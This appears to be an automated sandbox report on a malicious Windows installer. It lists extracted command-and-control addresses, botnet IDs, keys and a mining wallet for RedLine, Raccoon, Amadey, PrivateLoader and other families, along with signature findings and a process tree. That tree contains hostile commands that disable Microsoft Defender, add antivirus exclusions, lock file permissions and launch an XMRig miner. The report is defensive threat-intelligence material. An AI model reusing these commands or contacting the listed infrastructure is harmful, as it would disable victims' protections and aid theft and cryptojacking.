Overview

overview

10

Static

static

3

setup_x86_...ll.exe

windows11-ltsc_2024-x64

10

setup_installer.exe

windows11-ltsc_2024-x64

10

Resubmissions

14/07/2026, 17:50

260714-weksgacw8w10

13/07/2026, 02:52

260713-dct91sdt9y10

07/07/2026, 21:45

260707-1mdfksfw9m10

07/07/2026, 07:36

260707-jfamnshy4n10

01/07/2026, 12:07

260701-paebkadt9n10

30/06/2026, 11:53

260630-n2e7haet3n10

30/06/2026, 11:51

260630-n1mj7ad17v10

01/06/2026, 21:01

260601-ztvg1agw2k10

24/05/2026, 23:32

260524-3jnhgsht2j10

23/05/2026, 12:54

260523-p5p2jscx2t10

Analysis

  • user interaction
    yes
  • max time kernel
    75s
  • max time network
    158s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 07:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    setup_installer.exe
  • Size 16.5MB
  • Sample260707-jfamnshy4n
  • SHA256 5b1863dd0217646edc42252ba708218ba6c1e0387b378d1aa6c8ea066ab18711
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
aspackv254c1ae@tuiefc20640b4b1564934471e6297b87d8657db774amedia6test2user1defense_evasiondiscoverydropperexecutionamadeyfabookieloaderbotnullmixerprivateloaderraccoonredlinesocelarsxmriginfostealerinstallerloaderminerpersistencespywarestealertrojan

Malware Config

Extracted

Family

  • privateloader

C2

  • http://212.193.30.45/proxies.txt

  • http://212.193.30.29/server.txt

  • pastebin.com/raw/A7dSG1te

  • http://wfsdragon.ru/api/setStats.php

  • 212.192.241.62

Extracted

Family

  • socelars

C2

  • http://www.wgqpw.com/

Extracted

Family

  • redline

Botnet

  • @Tui

C2

  • 185.215.113.44:23759

Attributes
  • auth_value

    f4763503fd39f2719d3cbb75871d93ad

Extracted

Family

  • amadey

Version

  • 2.85

Botnet

  • 54c1ae

C2

  • http://185.215.113.35

Attributes
  • install_dir

    6829558ede

  • install_file

    tkools.exe

  • strings_key

    aa0bd6a5547b1594628920a66d03ad11

  • url_paths

    /d2VxjasuwS/index.php

rc4.plain

Extracted

Family

  • loaderbot

C2

  • http://blvckxxx.beget.tech/cmd.php

Attributes
  • miner_pool

    pool.supportxmr.com:3333

  • user

    8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU

Extracted

Family

  • redline

Botnet

  • media6test2

C2

  • 65.108.69.168:16278

Attributes
  • auth_value

    7229bf6a6bcd94330a61cb8600d89eac

Extracted

Family

  • redline

Botnet

  • user1

C2

  • 23.88.118.113:23817

Attributes
  • auth_value

    8fa01dd66c262df9908a74caff781e02

Extracted

Family

  • raccoon

Version

  • 1.8.3-hotfix

Botnet

  • efc20640b4b1564934471e6297b87d8657db774a

Attributes
  • url4cnc

    http://91.219.236.162/jredmankun

    http://185.163.47.176/jredmankun

    http://193.38.54.238/jredmankun

    http://74.119.192.122/jredmankun

    http://91.219.236.240/jredmankun

    https://t.me/jredmankun

rc4.plain
rc4.plain

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Family: LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

    loaderminerloaderbot
  • Family: NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • Family: PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Family: Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

    stealerraccoon
  • Family: RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • Family: Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detect Fabookie payload 1 IoCs
  • Detects Amadey x86-bit Payload 3 IoCs
  • Raccoon Stealer V1 payload 4 IoCs
  • RedLine payload 2 IoCs
  • Socelars payload 1 IoCs
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • LoaderBot executable 3 IoCs
  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • XMRig Miner payload 28 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Binary Proxy Execution: Odbcconf 1 TTPs 3 IoCs

    Abuse Odbcconf to proxy execution of malicious code.

    defense_evasion
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 9 IoCs

    Inno Setup installer

    installer
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Users\Admin\AppData\Local\Temp\7zS85422388\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS85422388\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5500
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4708
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2380
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon239d21655f4b.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon239d21655f4b.exe
          Mon239d21655f4b.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4100
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c taskkill /f /im chrome.exe
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5008
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /f /im chrome.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4312
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon23bfce30ed0d.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23bfce30ed0d.exe
          Mon23bfce30ed0d.exe
          4⤵
          • Executes dropped EXE
          PID:3256
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3256 -s 340
            5⤵
            • Program crash
            PID:244
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon236c02350935f.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon236c02350935f.exe
          Mon236c02350935f.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1748
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1748 -s 452
            5⤵
            • Program crash
            PID:2232
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon23b87b93295.exe /mixtwo
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6084
        • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23b87b93295.exe
          Mon23b87b93295.exe /mixtwo
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3448
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Mon23fc9b3c0b46b0b03.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23fc9b3c0b46b0b03.exe
          Mon23fc9b3c0b46b0b03.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5748
          • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23fc9b3c0b46b0b03.exe
            C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23fc9b3c0b46b0b03.exe
            5⤵
            • Executes dropped EXE
            PID:5060
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
              6⤵
                PID:3724
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:4704
                • C:\Windows\SysWOW64\cacls.exe
                  CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:6096
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4156
                • C:\Windows\SysWOW64\cacls.exe
                  CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                  7⤵
                    PID:480
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:6028
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:4664
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                    7⤵
                      PID:296
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                    6⤵
                    • System Location Discovery: System Language Discovery
                    PID:3996
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:256
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon237b55b08f9b9f39.exe
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:708
              • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237b55b08f9b9f39.exe
                Mon237b55b08f9b9f39.exe
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4880
                • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237b55b08f9b9f39.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237b55b08f9b9f39.exe
                  5⤵
                  • Executes dropped EXE
                  PID:3996
                • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237b55b08f9b9f39.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237b55b08f9b9f39.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3196
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon237ce2862163cee53.exe
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3236
              • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237ce2862163cee53.exe
                Mon237ce2862163cee53.exe
                4⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • System Location Discovery: System Language Discovery
                PID:2832
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon236eb8c3f483857fd.exe
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4192
              • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon236eb8c3f483857fd.exe
                Mon236eb8c3f483857fd.exe
                4⤵
                • Executes dropped EXE
                PID:5768
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon230cd6d57f4.exe
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5156
              • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon230cd6d57f4.exe
                Mon230cd6d57f4.exe
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:1052
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon23705640b572a2.exe
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4168
              • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23705640b572a2.exe
                Mon23705640b572a2.exe
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:6032
                • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23705640b572a2.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23705640b572a2.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3216
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                    6⤵
                    • System Location Discovery: System Language Discovery
                    PID:6000
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:5392
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:296
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                    6⤵
                    • System Location Discovery: System Language Discovery
                    PID:2644
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                      7⤵
                        PID:256
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:5568
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        PID:4248
                      • C:\Windows\SysWOW64\cacls.exe
                        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        PID:1148
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:3192
                      • C:\Windows\SysWOW64\cacls.exe
                        CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
                        7⤵
                          PID:2728
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Mon23ca6a33225.exe
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5116
                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23ca6a33225.exe
                    Mon23ca6a33225.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    PID:5144
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23ca6a33225.exe"
                      5⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      PID:1356
                    • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23ca6a33225.exe
                      "C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23ca6a33225.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:2196
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Mon2345a0f60927b9.exe
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4216
                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon2345a0f60927b9.exe
                    Mon2345a0f60927b9.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of SetWindowsHookEx
                    PID:3652
                    • C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe
                      "C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"
                      5⤵
                      • Drops startup file
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4600
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:2232
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:2780
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:4768
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:5364
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:480
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:5620
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:4700
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:888
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:204
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:564
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:3660
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:4376
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:2372
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:1848
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:1052
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:360
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:5288
                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:5464
